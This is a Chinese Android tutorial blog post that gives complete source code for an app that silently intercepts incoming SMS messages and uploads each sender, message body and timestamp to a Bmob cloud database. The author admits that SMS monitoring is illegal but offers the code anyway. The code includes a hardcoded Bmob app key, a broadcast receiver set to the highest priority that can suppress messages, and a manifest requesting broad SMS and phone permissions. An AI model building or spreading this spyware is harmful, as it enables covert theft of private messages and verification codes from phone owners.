首页 > 代码库 > Android实战简易教程-第四十枪(窃听风云之短信监听)

Android实战简易教程-第四十枪(窃听风云之短信监听)

近期在做监听验证码短信自己主动填入的功能,无意间想到了一个短信监听的办法。

免责声明:短信监听本身是一种违法行为,这里仅仅是技术描写叙述。请大家学习技术就可以。(哈哈)

本实例是基于bmob提供的后台服务,将监听到的短信自己主动上传到bmob数据库中。

一、代码实现:

1.首先实现javabean对象。

package com.example.messagecut;

import cn.bmob.v3.BmobObject;

public class MsgContent extends BmobObject  {
	private String form;
	private String content;
	private String time;
	public String getForm() {
		return form;
	}
	public void setForm(String form) {
		this.form = form;
	}
	public String getContent() {
		return content;
	}
	public void setContent(String content) {
		this.content = content;
	}
	public String getTime() {
		return time;
	}
	public void setTime(String time) {
		this.time = time;
	}
	

}

2.MainActivity.java:
package com.example.messagecut;

import com.example.messagecut.SMSBroadcastReceiver.MessageListener;

import android.app.Activity;
import android.os.Bundle;
import cn.bmob.v3.Bmob;
import cn.bmob.v3.listener.SaveListener;

/**
 * Demo描写叙述: 利用BroadcastReceiver实现监听短信
 *
 * 注意权限: <uses-permission android:name="android.permission.RECEIVE_SMS"/>
 *
 * 
 *
 */
public class MainActivity extends Activity {
	private SMSBroadcastReceiver mSMSBroadcastReceiver;
	private String message;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		Bmob.initialize(this, "8f3ffb2658d8a3366a70a0b0ca0b71b2");
		
		
		mSMSBroadcastReceiver = new SMSBroadcastReceiver();
		mSMSBroadcastReceiver.setOnReceivedMessageListener(new MessageListener() {
			public void OnReceived(String message) {	
				String[] msg=message.split(",");
				MsgContent msgContent=new MsgContent();
				msgContent.setForm(msg[0]);
				msgContent.setContent(msg[1]);
				msgContent.setTime(msg[2]);
				msgContent.save(MainActivity.this, new SaveListener() {
					
					@Override
					public void onSuccess() {//上传成功
						
					}
					
					@Override
					public void onFailure(int arg0, String arg1) {
						
					}
				});
				
			}
		});

	}
}

3.SMSBroadcastReceiver.java:
package com.example.messagecut;

import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;

/**
 * 配置广播接收者: <receiver android:name=".SMSBroadcastReceiver"> <intent-filter
 * android:priority="1000"> <action android:name=
 * "android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver>
 * 
 * 注意: <intent-filter android:priority="1000">表示: 设置此广播接收者的级别为最高
 */

public class SMSBroadcastReceiver extends BroadcastReceiver {
	private static MessageListener mMessageListener;

	public SMSBroadcastReceiver() {
		super();
	}

	@Override
	public void onReceive(Context context, Intent intent) {
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		for (Object pdu : pdus) {
			SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
			String sender = smsMessage.getDisplayOriginatingAddress();
			String content = smsMessage.getMessageBody();
			long date = smsMessage.getTimestampMillis();
			Date timeDate = new Date(date);
			SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			String time = simpleDateFormat.format(timeDate);

			System.out.println("短信来自:" + sender);
			System.out.println("短信内容:" + content);
			System.out.println("短信时间:" + time);

			mMessageListener.OnReceived(sender + "," + content + "," + time);

			// 假设短信来自5556,不再往下传递
			if ("5556".equals(sender)) {
				System.out.println(" abort ");
				abortBroadcast();
			}

		}
	}

	// 回调接口
	public interface MessageListener {
		public void OnReceived(String message);
	}

	public void setOnReceivedMessageListener(MessageListener messageListener) {
		this.mMessageListener = messageListener;
	}
}

4.配置文件AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?

> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.messagecut" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" android:targetSdkVersion="21" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".SMSBroadcastReceiver" > <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> </application> <!-- 发送短信 --> <uses-permission android:name="android.permission.SEND_SMS" /> <!-- 阅读消息 --> <uses-permission android:name="android.permission.READ_SMS" /> <!-- 写入消息 --> <uses-permission android:name="android.permission.WRITE_SMS" /> <!-- 接收消息 --> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_LOGS" /> </manifest>



本实例要用到bmob的知识。有不了解的能够參考我曾经的文章《Android实战简易教程-第二十二枪(基于Baas的用户注冊功能)》

二、执行实例

执行实例,然后用还有一个手机发一条短信到測试手机,这时就会在后台数据库中看到这样一条信息,例如以下截图:

技术分享

这样我们的短信监听就实现啦!还有其它好多的监听。下回研究。

喜欢的朋友关注我吧!

Android实战简易教程-第四十枪(窃听风云之短信监听)